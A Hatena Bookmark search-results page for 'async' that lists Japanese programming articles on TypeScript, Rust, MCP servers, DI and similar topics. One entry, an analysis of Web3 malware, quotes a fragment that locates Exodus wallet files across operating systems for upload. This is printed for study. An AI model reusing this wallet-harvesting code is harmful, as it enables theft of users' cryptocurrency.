並び順

ブックマーク数

期間指定

  • から
  • まで

41 - 80 件 / 894件

新着順 人気順

asyncの検索結果41 - 80 件 / 894件

  • DIすると何がいいんだっけ

    はじめに こんにちは、majimaccho です。 読者の皆さんは最近、DI(Dependency Injection:依存の注入)してますでしょうか。 DI は素晴らしい仕組みである一方で全く DI しない Ruby on Rails のようなフレームワークが支配的な時代もありました。 それでも DI は今でも有用な考え方として残っている中で、DI にどう向き合っていけばいいのでしょうか。自分なりに考えをまとめるために調べてみたので、同じような疑問を持っている方に参考になれば幸いです。 TL;DR 単純にコード量が増加することに加え、DI の仕組み自体が複雑さを内包しているので開発生産性が低くなることがあります。そのため、DI は言語によっては局所的かつ限定的に利用する方が良い場合があります。 いくつかの工夫によって DI が持つメリットを享受しつつ、不要な複雑さを排除して、シンプルかつ

      DIすると何がいいんだっけ
    • GAS高速化のススメ - Nealle Developer's Blog

      GAS高速化のススメ はじめに こんにちは。サクセスエンジニアリングチームの増田です。 今年の8月に入社して早4か月が経ちました。 入社エントリも公開していますので良ければ見ていってください note.nealle.com 最近週4でカレーばっか食ってます。 美味しいカレーの後がけスパイスやソースなどあればぜひ教えていただきたい...! GASについて みなさん普段から業務でGAS(Google Apps Script)利用されてますでしょうか。 GASは知っての通りセットアップ不要で使え、Googleサービス(Google Sheets、Gmail、Driveなど)への認証が標準で組み込まれている非常に便利なツールです。非エンジニアでも扱いやすく、業務効率化の手段として広く活用されています。 GASのデメリットと課題 そんな便利なGASですが多くの制限が存在します。 その中でも代表的なも

        GAS高速化のススメ - Nealle Developer's Blog
      • Claude Code Best Practices

        Published Apr 18, 2025 Claude Code is a command line tool for agentic coding. This post covers tips and tricks that have proven effective for using Claude Code across various codebases, languages, and environments. We recently released Claude Code, a command line tool for agentic coding. Developed as a research project, Claude Code gives Anthropic engineers and researchers a more native way to int

          Claude Code Best Practices
        • TypeScriptが仕事で使えるレベルに到達するためのガイド - Python転職初心者向けエンジニアリングブログ

          TypeScriptが仕事で使えるレベルになるためには、単に基本的な文法や構文を理解するだけでなく、実際のプロジェクトやチーム開発でどのように活用するか、スケーラビリティや保守性を考慮しながらコードを書く能力が求められます。この記事では、TypeScriptを実務で使うために必要な基本から、少し踏み込んだ中級レベルの知識を、コード例を交えながら丁寧に解説します。 TypeScriptとは TypeScriptは、JavaScriptのスーパーセットで、JavaScriptに静的な型を追加した言語です。静的型付けとは、変数や関数にあらかじめ「このデータはこの型でなければならない」というルールを設定することです。このルールに基づいて、開発者が予想しない動作やバグを防ぐ手助けをしてくれます。 JavaScript自体は非常に柔軟で、型に縛られない自由な書き方ができますが、それが逆に大きなバグを生

            TypeScriptが仕事で使えるレベルに到達するためのガイド - Python転職初心者向けエンジニアリングブログ
          • 【JavaScript】Idle Detection APIとかいう悪用以外の使い道がないAPI - Qiita

            Deleted articles cannot be recovered. Draft of this article would be also deleted. Are you sure you want to delete this article? 2024/09/10にIdle Detection APIというAPIが更新されていました。 ステータスはDraft Community Group Reportです。 これはコミュニティによる提案であり、W3Cによる正式な勧告ではありません。 個人や団体レベルでも、とりあえずRFCを作ってみたり検討したりできる段階ということです。 以下はこの提案を管理しているGitHubから、このRFCの意義を解説したReadmeの紹介です。 User Idle Detection API このAPIでは、開発者はユーザがアイドル状態になったとき(キ

              【JavaScript】Idle Detection APIとかいう悪用以外の使い道がないAPI - Qiita
            • 新しいブラウザ操作系エージェントのworkflow-useがかなり良さそうな予感

              Browser Useから新しいブラウザ操作系エージェントが登場しました めちゃくちゃ魅力的だったので紹介します。 従来のブラウザ操作系エージェント browser-useに限らず、従来のブラウザ操作系エージェントはユーザーからの自然言語な指令をもとにブラウザを操作します。 AIエージェントは画面キャプチャ + DOMの取得 → キャプチャを解析 → クリックすべき要素を推論 → playwrightで操作をループしてタスクを行います。 現在僕もよく使っているのですが、何点か課題があります。 どうしてもアクションに揺らぎがある 自然言語での指示である以上仕方ないのですが、「〇〇をクリックして〇〇をしてほしい」と言った細かい指示はプロンプトのチューニングが不可欠であり使用モデルの賢さにも依存します。 処理に時間がかかる 画面キャプチャ + DOMの取得 → キャプチャを解析 → クリックすべ

                新しいブラウザ操作系エージェントのworkflow-useがかなり良さそうな予感
              • みんなのためのLLMアプリケーション開発環境の構築事例

                はじめに こんにちは。Game Platform DevのDong Hun Ryoo、Takenaka、Zhang Youlu(Michael)、Hyungjung Leeです。私たちの組織は、ゲームパブリッシングに必要なさまざまな機能を開発・運用する役割を担っています。 私たちは最近、組織内の業務効率を高めるためにさまざまなLLM(large language model)アプリケーションを開発し、それと連携してLLMOpsシステムの構築プロジェクトを行いました。プロジェクトの主な目標の一つは、参入障壁が高いLLMアプリケーション開発を、職種に関係なく誰でも簡単に作成できる環境を構築することでした。そのため、さまざまなことを考えながら試行錯誤を経た結果、誰でも簡単にアクセスできる開発・デプロイ環境を整えました。 今回の記事では、LLMアプリケーションの一般的な開発方法と開発プロセスで直面

                  みんなのためのLLMアプリケーション開発環境の構築事例
                • Cursor Directory

                  TypeScript19Python11React11Next.js10PHP7TailwindCSS5Laravel5C#4JavaScript4Game Development4Expo4React Native4Tailwind4Vite4Supabase4Rust3Web Development3Flutter3API3Meta-Prompt3SvelteKit3SwiftUI3Swift3WordPress3Angular2Blockchain2html2Unity2FastAPI2GraphQL2Alpine.js2Accessibility2ionic2cordova2angular2Java2Vue.js2Zod2Zustand2NestJs2Node2NuxtJS2Vue2Function2Svelte2Terraform2Vivado2FPGA2Node.js2AL1B

                    Cursor Directory
                  • TypeScript 製の AI エージェントフレームワーク Mastra

                    TypeScript 製の AI エージェントフレームワーク Mastra Mastra は TypeScript 製の AI エージェントフレームワークであり Gatsby の開発チームによって開発されています。Mastra サーバーを実行することで REST API サーバーを介してエージェントとやり取りすることができます。Mastra はAI エージェントを構築するために必要なプリミティブな機能を提供するために設計されています。 Mastra は TypeScript 製の AI エージェントフレームワークであり Gatsby の開発チームによって開発されています。Mastra サーバーを実行することで REST API サーバーを介してエージェントとやり取りできます。Mastra は AI エージェントを構築するために必要なプリミティブな機能を提供するために設計されています。 Ma

                      TypeScript 製の AI エージェントフレームワーク Mastra
                    • JavaScript PrimerのNotebookLMが利用可能になりました!

                      JavaScript PrimerのNotebookLMが利用可能になりました。 NotebookLMは、Googleが提供するAIを活用したノートブック環境で、登録したソースに対して質問をしたり、情報を検索したりすることができます。 次のリンクから、JavaScript PrimerのNotebookLMにアクセスできます。 📖 JavaScript Primer - 迷わないための入門書 - NotebookLM JavaScript Primer on NotebookLM JavaScript PrimerのコンテンツがNotebookLMに入ってることで、読者は書籍の内容についてNotebookLMに直接質問したり、Podcastとして音声で聞いたりすることができるようになります。 NotebookLMを活用することで、JavaScript Primerを読み進める中で生じた疑

                        JavaScript PrimerのNotebookLMが利用可能になりました!
                      • ブラウザで動作する地理空間データ処理ライブラリとして DuckDB-wasm を使い、 SQL を TypeScript で管理する仕組みを作る - newmo 技術ブログ

                        newmo では、地図データや地理情報を扱う場面が多くあります。 たとえば、タクシーやライドシェアでは、営業区域のような営業していいエリアといった地理的な定義があります。 また、乗り入れ禁止区域のようなタクシーが乗り入れてはいけないエリアといった定義も必要になります。 これらの地理に関する定義は GeoJSON のような地理情報を扱うデータ形式で管理されることが多いです。 しかし、GeoJSONなどの定義をテキストとして手書きするのは困難です。 そのため、地図上に区域を作図するエディタやその定義した区域が正しいかをチェックするような管理ツールが必要です。 管理ツールは、ウェブアプリケーションとして作った方が利用できる環境が広がります。 このような地理情報は一度に扱うデータが多かったり、空間的な計算処理が必要になるため、専用の仕組みを使うことが多いです。 このような技術を、地理情報システム(

                          ブラウザで動作する地理空間データ処理ライブラリとして DuckDB-wasm を使い、 SQL を TypeScript で管理する仕組みを作る - newmo 技術ブログ
                        • Next.jsで簡単なCRUDアプリを作りながら気になったセキュリティ: Railsの視点から

                          先日、Kamal 2でNext.jsを安価なVPSにデプロイする勉強をしながら、Next.js App Router/Server ActionでCRUDのデモアプリを作成しました(コードはGitHub)。そのときにセキュリティについて気になって点がいくつかあり、勉強しながら対策をしましたので紹介したいと思います。 私自身は業務でNext.jsを書いた経験が限定的です。的外れな議論をしているかもしれません。あくまでもRuby on Railsアプリを書くときと同じ気持ちでNext.jsのアプリを書いたとき、セキュリティ上で気になった点を挙げているだけです。私が見落としている点や誤っている点等ありましたら、コメントやX等で教えていただけると大変ありがたいです。 その1:データ漏洩の危険性 この問題についてはムーザルちゃんねるが紹介しています。またNext.jsの公式ブログでも対策が紹介されて

                            Next.jsで簡単なCRUDアプリを作りながら気になったセキュリティ: Railsの視点から
                          • ジャンプTOON Next.js App Router の活用〜得られた恩恵と課題〜 | CyberAgent Developers Blog

                            目次 はじめに Colocation を意識した設計方針 Parallel Routes と Intercepting Routes を用いた設計パターン サーバー側に処理を寄せたことによる恩恵と課題 Next.js が抱える課題 おわりに 参考文献 はじめに ジャンプTOON のWeb版(以降、ジャンプTOON Web)の開発を担当している浅原昌大(@assa1605)です。 5 月にサービスを開始した「ジャンプTOON」は、オリジナル縦読みマンガ作品や人気作品のタテカラー版を連載する、ジャンプグループ発の新サービスです。 ジャンプTOON のフロントエンドには、Next.js を採用し開発をしています。 本記事では、Next.js の最新機能や設計パターン、Next.js を採用した恩恵と現在の課題について紹介します。 Colocation を意識した設計方針 Parallel Rou

                              ジャンプTOON Next.js App Router の活用〜得られた恩恵と課題〜 | CyberAgent Developers Blog
                            • 社内システムのセキュリティ向上のため、Lambda + CloudFront + S3でインフラ基盤を再構築した話 - Uzabase for Engineers

                              はじめに ソーシャル経済メディア「NewsPicks」SREチーム・新卒エンジニアの樋渡です。今回は、AWSサービスである「Lambda」「CloudFront」「S3」を用いて、弊社で使用している社内向けシステムの基盤を再構築し、開発者体験の向上やセキュリティ対策を行なったお話です。 お話の内容 弊社で使用している社内向けシステムの一つに「Watson」というシステムがあります。「Watson」とは簡単にいうと「NewsPicks」のユーザーIDをもとにユーザーごとの情報を検索・閲覧できるシステムで、お客様からの問い合わせ対応等に活用される重要なシステムです。「Watson」は構築されたのが8年前と歴史が古く、歴史が古い故に数々の問題を抱えていました。今回のお話では、歴史の古い社内システムのインフラとバックエンドを更改し抱えていた問題を解決したぜ!というお話となっています。 抱えていた課

                                社内システムのセキュリティ向上のため、Lambda + CloudFront + S3でインフラ基盤を再構築した話 - Uzabase for Engineers
                              • MarkdownAIで子ども向けスマホ動物園を作ってみた - Qiita

                                Deleted articles cannot be recovered. Draft of this article would be also deleted. Are you sure you want to delete this article? 2024年のアドベントカレンダーで、マークダウン記法で記述して簡単にウェブサイトやアプリが作れるMarkdownAIというサービスを知りました。 そこで、お出かけ先でもスマホで楽しめる子ども向け動物園アプリをMarkdownAIで試作してみました。 作ったもの「MarkdownAI動物園」 今回作成したのは「MarkdownAI動物園」というスマホで使える、簡単なアプリケーションです。 以下のリンクから実際にアプリを使えるのでぜひ試してみてください。 MarkdownAI動物園 ※スマホで使う想定のため、PCだと見づらい部分があります

                                  MarkdownAIで子ども向けスマホ動物園を作ってみた - Qiita
                                • スターの多い順にブコメを並び替える

                                  FANZAの検索結果から熟女を除外するブックマークレット がうまく動いたので、気を良くしてはてなブックマークのコメント欄をスター数順にソートするブックマークレットを作りました。 作った動機は、「注目コメントに入りきれなかったちょっといいコメント」をサクサク探したいから。結果として建設的コメント順位付けモデルを無効化していますが、あのアルゴリズムには特に不満は特にありません。 ブックマークレット javascript: (async () => { const wait = ms => new Promise(resolve => setTimeout(resolve, ms)); document.querySelector('.js-bookmarks-sort-tab[data-sort="recent"]').click(); window.scrollTo(0, document.

                                    スターの多い順にブコメを並び替える
                                  • フロントエンド API コール時のエラーハンドリングを軽く整理(Fetch API・typescript-fetch・TanStack Query) - カミナシ エンジニアブログ

                                    カミナシのソフトウェアエンジニア佐藤です。カミナシレポートの開発に携わっています。 フロントエンドのエラーは「画面リロードやブラウザ再起動で復旧できる(かもしれない)」「クラッシュしてもユーザーの端末に閉じる」などの理由から、バックエンドよりは精緻に扱われない傾向があると個人的には感じています。 その一方、カミナシレポートは、ノンデスクワーカー向けの不安定なネットワーク環境で利用されることも多々あるアプリです。そのため、デジタルツールに不慣れな方のために精緻なフィードバックが必要とされる、リロードに頼ることが難しいケースがある、などの理由でエラーの扱いにも慎重になる必要があります。 本記事では、カミナシレポートのフロントエンド開発をする中で、 バックエンドの API コール時にエラーが発生する条件とその内容(型・クラス) これらエラーをハンドリングする箇所 について、把握しておきたいと感じ

                                      フロントエンド API コール時のエラーハンドリングを軽く整理(Fetch API・typescript-fetch・TanStack Query) - カミナシ エンジニアブログ
                                    • TypeScript/JavaScript Array完全攻略2024 | フューチャー技術ブログ

                                      TypeScriptアドベントカレンダーの12/5のエントリーです。昨日は@nanasi-1さんの【TypeScript】ジェネレーターによる遅延評価でフィボナッチ数列を生成するでした。 イマドキのJavaScriptの書き方2018というのを以前書いたのだけど、配列周りはかなり変わっているな、というのを思ったので、そこの部分だけアップデートするつもりで書いてみました。 実環境で使えるECMAScriptバージョン今時のブラウザは常に最新に更新されるはずなのでECMAScript 2024の機能もフルに使えるはずですが、おそらくNode.jsのLTSが一番古いJavaScriptエンジンということになるのかな、と思います。本記事執筆時点でサポート中のバージョンは以下の4つです。軽くメソッドを調べたりした感じ、こんな感じかと。202x年の11月ぐらいになると、ES202xがLTSバージョンで

                                        TypeScript/JavaScript Array完全攻略2024 | フューチャー技術ブログ
                                      • Cloudflare PagesにそれなりにちゃんとBasic認証をかける | おそらくはそれさえも平凡な日々

                                        前回の、社内プライベートポッドキャスト実現方法で、ポッドキャストサイトを静的配信しつつBasic認証をかけるというアイデアを書いた。しかし、Basic認証などなかなか使わなくなり、ネイティブでサポートしている静的ホスティングサービスも少ない。今回はCloudflare PagesのFunctions機能でリクエストをラップするミドルウェアを書けば実現できることが分かり、その方式を採用することにした。多少実装必要になるのと、認証周りを自前で書くのはあまりやりたくはないが、廉価に比較的省力で実現できるので受け入れる。 ネット上にいくつかサンプルは見つかるが、今回実装するにあたっては以下の点を留意した。 コード内に認証情報を載せない 複数ユーザーのIDとパスワードを管理できるようにする パスワードは定数時間比較してタイミング攻撃を防ぐ これらを以下のように解決することとした。 認証情報は環境変数

                                          Cloudflare PagesにそれなりにちゃんとBasic認証をかける | おそらくはそれさえも平凡な日々
                                        • オススメのRust製無料プロキシツール「Caido」の紹介 - blog of morioka12

                                          1. 始めに こんにちは、morioka12 です。 本稿では、最近注目を浴びているオススメの Rust 製の無料プロキシツール「Caido」について紹介します。 本稿で触れるプロキシツールは、Web アプリやスマホアプリの通信を傍受して、リクエストの内容を確認したり書き換えたりするツールを指します。 1. 始めに 想定読者 2. Caido の概要 アドバイザー 主な特徴 ディスクトップアプリと CLI HTTPQL DNS の書き換え ブラウザでレスポンスの表示 SDK・Plugin Caido と Burp Suite の違い Caido の使い始め方 3. Caido の主な機能 Sitemap Intercept HTTP History Match & Replace Replay Automate Workflows Search Findings その他 Built-in

                                            オススメのRust製無料プロキシツール「Caido」の紹介 - blog of morioka12
                                          • Findyの爆速開発を支える生成AI活用 ~MCPサーバー作成編~ - Findy Tech Blog

                                            こんにちは。 ファインディ株式会社 で Tech Lead をやらせてもらってる戸田です。 現在のソフトウェア開発の世界は、生成AIの登場により大きな転換点を迎えています。 GitHub Copilotやチャットベースの開発支援ツールなど、生成AIを活用した開発支援ツールが次々と登場し、開発者の日常的なワークフローに組み込まれつつあります。 そのような状況の中で、MCPというプロトコルが話題となっていることは読者の皆さんもご存知かと思います。 そこで今回は、弊社の開発組織でのMCPサーバーの導入と実装、そして実績について紹介します。 それでは見ていきましょう! MCPとは 導入 実装 実績 動的にプロンプトのテキストを作成して返す Devinと連携する Figmaデータのlintを行う セキュリティ面の考慮 まとめ MCPとは MCP(Model Context Protocol)は、アプ

                                              Findyの爆速開発を支える生成AI活用 ~MCPサーバー作成編~ - Findy Tech Blog
                                            • チームにテストコードを書く文化を定着させる - Qiita

                                              Deleted articles cannot be recovered. Draft of this article would be also deleted. Are you sure you want to delete this article? この記事は? 皆さんお久しぶりです。@cosmeの開発エンジニアをしております、村田です。@cosmeを運営する株式会社アイスタイルではPHP -> TypeScriptへの技術移行を進めており、フレームワークとしてはexpress, oclif, そして本記事で紹介するJavaScript製のテスティングフレームワークであるjestなどの各種ツールを使って開発を進めています。 この記事で紹介する内容は、チームでテストコードを書く文化を定着していく話です。というのも、既存プロダクトにて元々テストコードが十分に書かれていない部分があったた

                                                チームにテストコードを書く文化を定着させる - Qiita
                                              • GraphQL BatchでクライアントN+1を無理矢理倒す (事例紹介:株式会社ハウテレビジョン様)

                                                株式会社ハウテレビジョン様で、 質問箱サービスMondのパフォーマンス分析と改善を行いました。 内容としてはLCPの内訳の計測、その解決方法の提案、そして一番大きな問題だった GraphQL リクエストの最適化という話になります。 現時点で全ての問題の修正には至っていませんが、開発的には全ての問題の内訳が認識可能になっていて、検証が終われば段階的にリリースできる、という状態です。 以下、敬称略 相談内容 mond.how のLighthouseスコアを改善してほしい 主要な技術構成 Next.js - Page Router Hasura CE - GraphQL Server Hasura のセルフホスティング版 計測と問題 最近は Chrome が出してくれる Lighthouse スコアの推移が見れるダッシュボードがある。 ここで Mond の直近のスコアをみる。 代表例として ht

                                                  GraphQL BatchでクライアントN+1を無理矢理倒す (事例紹介:株式会社ハウテレビジョン様)
                                                • Bitwardenの実装から学ぶE2EE

                                                  この文章はなに? 本文章は、パスワードマネージャーであるBitwardenが公開しているソースコードを読み、そこでE2EE(End-to-end encryption)がどのように実装されているかについて、私が理解した内容をまとめたものです。 「E2EEをぼんやり理解してるが、どのように実装されているのかはわからない」という方を主な対象としています。 E2EEに対する私個人の課題感として、インターネット等から得られる説明が比較的抽象的であり、実装レベルでの理解が難しいというものがあります。 そこで私自身、そして同じ課題感を持つ方に向けて、E2EEを実践しているアプリケーションの1つであるBitwardenを参考に、それがどのように実装されているのかを詳細に理解すべく、本文章にまとめることとしました。 なお対象アプリケーションとしてBitwardenを選んだのは、私自身がユーザーであること、

                                                    Bitwardenの実装から学ぶE2EE
                                                  • Devin.aiを試す - 西尾泰和の外部脳

                                                    Devin.aiを試す 長くなってきたので切り出した Devin.aiを試す2024 2025-01-02 Session Usage Limitについて Devin went to sleep due to session usage limits. Limitをだいぶ超えてから止まるようだw 追記 説明を読むとセッション単位のように読めますが、最後のユーザーの発言以降で使用できる ACUs の上限 (by teramoto) あ、そうなんだ、どうりで超えてるものもあるなぁと思った Devin観察日記 3日目|Daiki Teramoto nishio 「さて、いよいよ金銭感覚が麻痺して参りました。一歩先の未来を生きるためのコストとして受け入れつつも、たまに冷静になる瞬間が恐ろしいです。」 あーあー聞こえないーー(1ヶ月のトークンを1週間で使い切っておかわりした人) nishio 冗談は

                                                      Devin.aiを試す - 西尾泰和の外部脳
                                                    • axiosやfetchに替わるKyのススメ - Qiita

                                                      Deleted articles cannot be recovered. Draft of this article would be also deleted. Are you sure you want to delete this article? Kyとは Kyは、Sindre Sorhusが開発したJavaScript向けの軽量かつ多機能なHTTPクライアントです。ネーミングの意図はよくわかりませんが、AxiosやネイティブのFetch APIに代わる、より効率的で使いやすい選択肢として設計されています。 Kyの利点 軽量で効率的: Kyのコアは非常に小さく(約2 KB)、パフォーマンスが重要なアプリケーションにとっては特に大きなメリットとなります。 Promiseベース: Fetch APIと同様に、KyはPromiseを基盤としており、async/await構文との組み合わ

                                                        axiosやfetchに替わるKyのススメ - Qiita
                                                      • なぜ私たちは住所正規化エンジンをRustで"再発明"したのか? - FFIによる多言語高速化と開発者体験の裏側 - Sansan Tech Blog

                                                        Sansan Engineering Unit マスターデータグループ(データ戦略部門)の松本です。 私たちのチームは、「Activating Business Data」というミッションを掲げ、企業の活動の礎となる重要なデータ、いわゆる「マスターデータ」とその利活用という課題に、技術を駆使して向き合っている組織です。 さて、ビジネスデータを扱う上で「住所」は欠かせない情報です。 それは単に「モノを届ける場所」を示すだけではありません。 お客様を深く知るための「解像度」になる: 顧客のオフィスの位置を正確に知ることは、効果的なマーケティングや営業戦略を立てる上で不可欠です。 データ統合の「鍵」になる: 複数のサービスやデータベースに散らばったお客様の情報を「同一人物である」と正しく繋ぎ合わせる(名寄せする)際、住所は氏名と並んで最も重要なキー情報となります。 このように、正確な住所データは

                                                          なぜ私たちは住所正規化エンジンをRustで"再発明"したのか? - FFIによる多言語高速化と開発者体験の裏側 - Sansan Tech Blog
                                                        • CI/CD革新 GitHub Script活用術 - enechain Tech Blog

                                                          はじめに GitHub Script概要 セットアップ context の中身 eSquare Liveでの活用事例 発生した問題 タグの打ち間違い releaseブランチが複数存在する場合のデプロイ先選択の複雑化 解決策としてのGitHub Scriptの活用 機能1 vX.Y.Zのタグがmainブランチのコミットハッシュと一致することを確認する 機能2 releaseブランチは最新バージョンのみ自動で検証環境にデプロイする 完成版スクリプト まとめ はじめに こんにちは、enechainでeSquare Liveを開発しているエンジニアの古瀬(@tsuperis3112)です! 今回は、マニュアル依存になりがちなデプロイフローの問題を actions/github-script で解消した方法についてお話します。 eSquare Liveの開発では、効率的かつ信頼性の高い開発フローを維

                                                            CI/CD革新 GitHub Script活用術 - enechain Tech Blog
                                                          • AI「できました!」人間「(…本当に大丈夫か?)」 Devinと探る、AIコードセキュリティ虎の巻 - GMO Flatt Security Blog

                                                            万華鏡のように変化するテクノロジーの世界。かつて専門家が丹精込めて紡ぎ出していた『創造物』――精巧な絵画や心揺さぶる音楽、そして複雑なプログラムコードでさえも――が、今やAIによって驚くほど自然に、そして巧妙に生み出されています。その筆致やロジックのきらめきが、人間の手によるものか、それとも精緻なアルゴリズムの産物か。見分けることの難しさは日増しに高まり、私たちに新たな問いを投げかけているようです。 と、ここまでがGemini 2.5 Proに書いてもらった導入文です!記事全文を読んでもらったうえで、「人間が書いたのと見分けがつかないような面白い導入文を載せて、AIが生成するものが高度化していることを興味深く紹介したい」と言ったら書いてくれました。まあまあいい感じですね。全然いい感じじゃないと思った人はAIに文句を言ってください。 個人的に冒頭の文章はわりかしいい線をいっていると思いますが

                                                              AI「できました!」人間「(…本当に大丈夫か?)」 Devinと探る、AIコードセキュリティ虎の巻 - GMO Flatt Security Blog
                                                            • mixi2ライセンスページから学ぶ、便利なFlutterパッケージ【120over】 - くらげになりたい。

                                                              mixi2がFlutter製だと聞いて、使いはじめてみたけど、 さわり心地とか含めて、いろいろ素敵だなと思い、 ライセンスページの利用ライブラリを見てみたときの備忘録(*´ω`*) 見てみると、知らないすてきなパッケージがたくさんあったので、 ちょっと整理してみた(2024年12月18日時点) ライセンスページは以下からみれる 設定 > mixi2について > ライセンス 注意事項 ライセンスページに書かれているものをまとめただけなので、 実際には使っていないものや間接的につかっているものも含まれている可能性があります 公式情報ではないので、あくまで参考程度で! ベース部分 土台部分はこんな感じっぽい。馴染みある構成 状態管理など: riverpod + flutter_hooks + freezed ルーティング: go_router フォント: google_fonts(Noto Se

                                                                mixi2ライセンスページから学ぶ、便利なFlutterパッケージ【120over】 - くらげになりたい。
                                                              • Markdown→HTMLはこう進化したーパイプライン最前線

                                                                はじめに Zennのようなブログ記事やAstroなどの静的サイトジェネレーターが、どのようにMarkdownを受け取り、ドキュメントを生成しているのか。 その仕組みに強い関心を抱いた私はAstroの Content Collections のソースコードを読み始めました。とりわけ印象的だったのは、フロントマターを抽出する gray-matter でメタデータを取り出しつつ、本文をunifiedパイプラインへ流し込む一連の設計です。 この記事では、そうした実装を眺めた好奇心から始まり、多重パース時代の課題、ASTリレーがもたらした転換点やMDX 3・WASM・Edgeが広げる近未来までを、コードと図を交えながら俯瞰します。 第一世代:多重パース時代 Markdown変換ライブラリの草創期を支えた markdown-it や marked は、Markdown → HTML文字列 を1回だけ高

                                                                  Markdown→HTMLはこう進化したーパイプライン最前線
                                                                • マルチAIエージェントのアプリをChainlitで爆速開発しよう - Qiita

                                                                  せっかく作ったAIエージェントは一般ユーザにも届けたいですよね?? 皆さん、AIエージェント触ってますか? 私は最近LangGraphを触るのが楽しいです。 せっかく作ったエージェントは一般ユーザにも届けたいですよね?? で、あればフロントエンドも作りたいんですが、これが私の様な素人には意外と難しいです。 APIとしてデプロイして蹴って使うのも手間ですし、Streamlitで実装するのも、 チャット履歴は?ツールを使った場合の表示はどうする?など意外と考える事が多くて面倒です。 もっとエージェント開発に注力してフロントエンドはサクッとモダンなものを実装したい... そんな風にして調べていたらChainlitと出会ってしまいました。 ※この記事の続編はこちら [Chainlit✖︎AWS]超簡単!?LangGraphマルチエージェントのチャット履歴をAWSクラウド上に保存しよう Chainl

                                                                    マルチAIエージェントのアプリをChainlitで爆速開発しよう - Qiita
                                                                  • Web3 のマルウェアが話題なので解析してみた

                                                                    const uploadEs = (uploadOptions) => { let walletPath = ""; let filesToUpload = []; if ("w" == platform[0]) { walletPath = getAbsolutePath("~/") + "/AppData/Roaming/Exodus/exodus.wallet"; } else { "d" == platform[0] ? (walletPath = getAbsolutePath("~/") + "/Library/Application Support/exodus.wallet") : (walletPath = getAbsolutePath("~/") + "/.config/Exodus/exodus.wallet"); } if (testPath(walletPath

                                                                      Web3 のマルウェアが話題なので解析してみた
                                                                    • 個人開発のDBをFirebaseからSupabaseに移行した話

                                                                      こんにちは。はじめまして。れとるときゃりー(@retoruto_carry)と申します。 最近、個人開発しているサービスのDBをFirebase FirestoreからSupabaseに移行しました。 移行には2週間程かかりましたが、Firestoreでつらみを感じていてた部分が解消されて満足しています。 FirestoreはNoSQLなので、設計が難しく、画面のUI構成やユースケースを熟考したうえでデータ設計を考える必要があり、ガンガン仕様変更したり、複雑なクエリをしたりするには向いていない傾向があると感じていました。 Supabaseは、Firebaseの便利な部分を受け継ぎつつ、バックエンドがRDB(PostgreSQL)なので、上記の欠点が解消されています。 また、Firebaseがクエリごと料金が掛かるのと比較して、Supabaseはインスタンスごとの課金であり、セルフホストも可

                                                                        個人開発のDBをFirebaseからSupabaseに移行した話
                                                                      • 君だけのオリジナル async / await を作ろう / TSKaigi 2025

                                                                        TSKaigi 2025 での発表資料です - スピーカーノート リポジトリ…

                                                                          君だけのオリジナル async / await を作ろう / TSKaigi 2025
                                                                        • MCP サーバーの Streamable HTTP transport を試してみる

                                                                          MCP サーバーの Streamable HTTP transport を試してみる MCP では stdio と Streamable HTTP の 2 つの transport が定義されています。TypeScript SDK では v1.10.0 から Streamable HTTP transport がリリースされました。この記事では MCP サーバーを構築し、Streamable HTTP transport を試してみます。 MCP(Model Context Protocol)では JSON-RPC を使用してメッセージをエンコードしています。クライアントとサーバー間のトランスポート方式として以下の 2 つが定義されています。 stdio: 標準入出力を介した通信(主にローカル実行向け) Streamable HTTP: HTTP ストリーミングを介した通信(リモートサーバ

                                                                            MCP サーバーの Streamable HTTP transport を試してみる
                                                                          • Rustで勘違いしていたこと3選 🏄🌴 【100 Exercises To Learn Rust 🦀 完走記事 🏃】 - Qiita

                                                                            100 Exercises To Learn Rust を題材に Qiita Engineer Festa 2024 投稿マラソン に参加していました! 7月17日に仮置きを残しながら投稿したのち、 ようやく全記事完成しました! ので、その記念として、色々話したいと思います!(え、7/17ってもう3週間前...?!) 目次 全記事一覧 100 Exercises To Learn Rustを完走した感想 100 Exercisesの魅力 1. そこそこの長さ 2. 無理のない学習順序 3. 各エクササイズ間に関連がある 4. 効率よく"ミソ"を摂取できる Rustで今まで勘違いしていたこと3選 1. Copy は Clone::clone を...呼び出さなかった! 2. 不変参照は...実は不変ではなかった! 3. 値がスレッドを跨ぐには 'static は...不要だった! 所感 ※

                                                                              Rustで勘違いしていたこと3選 🏄🌴 【100 Exercises To Learn Rust 🦀 完走記事 🏃】 - Qiita
                                                                            • 【前編】関数型×DDDの設計と実装は、どう進めるべきか。書籍「関数型ドメインモデリング」翻訳者が語る【Open Developers Conference 2024 レポート】 | レバテックラボ(レバテックLAB)

                                                                              TOPコラムテック最前線レポート【前編】関数型×DDDの設計と実装は、どう進めるべきか。書籍「関数型ドメインモデリング」翻訳者が語る【Open Developers Conference 2024 レポート】 【前編】関数型×DDDの設計と実装は、どう進めるべきか。書籍「関数型ドメインモデリング」翻訳者が語る【Open Developers Conference 2024 レポート】 2024年11月18日 書籍「関数型ドメインモデリング」翻訳者 猪股 健太郎 システムエンジニア、ソフトウェア開発者。BIPROGY株式会社勤務。各種業務システムに関する開発支援や開発標準策定等に従事後、数年間の米国駐在を経て帰国。近年はアジャイルソフトウェア開発を含む開発スタイル変革に携わる。『速攻入門 C#プログラミング すぐに現場で使える知識』(技術評論社、共著)、『プログラミングXamarin 上・下

                                                                                【前編】関数型×DDDの設計と実装は、どう進めるべきか。書籍「関数型ドメインモデリング」翻訳者が語る【Open Developers Conference 2024 レポート】 | レバテックラボ(レバテックLAB)
                                                                              • 一休における C#,PythonからRustへの移行の現状と見えてきた課題

                                                                                はじめまして、一休でプロダクト開発・技術広報を行っている山本(@kymmt90)といいます。 今回は「一休.comレストラン」のバックエンドのRust移行の取り組みについて、バックエンドを中心に、背景や現在の移行状況をお伝えします。 なぜRustを選定したのか?サービス概要「一休.comレストラン」は、上質なレストランを対象に店舗や食事コースの検索、詳細情報の閲覧、Web予約機能を提供するサービスです。2006年にローンチされ、従来はPython・C#・VBScriptといった技術スタックを用いたシステム構成となっていました。 選定背景5年以上Pythonを中心にサービスを開発/運用してきましたが、コロナ禍や開発チームの再編成を経て、既存のコードベースのままだと事業の要求に沿った開発や運用が難しくなってきたという課題がありました。 そこで、サービスのUI自体の刷新を含めリライトしていくとい

                                                                                  一休における C#,PythonからRustへの移行の現状と見えてきた課題
                                                                                • claude code でローカルなMCPサーバーを叩けるようにする

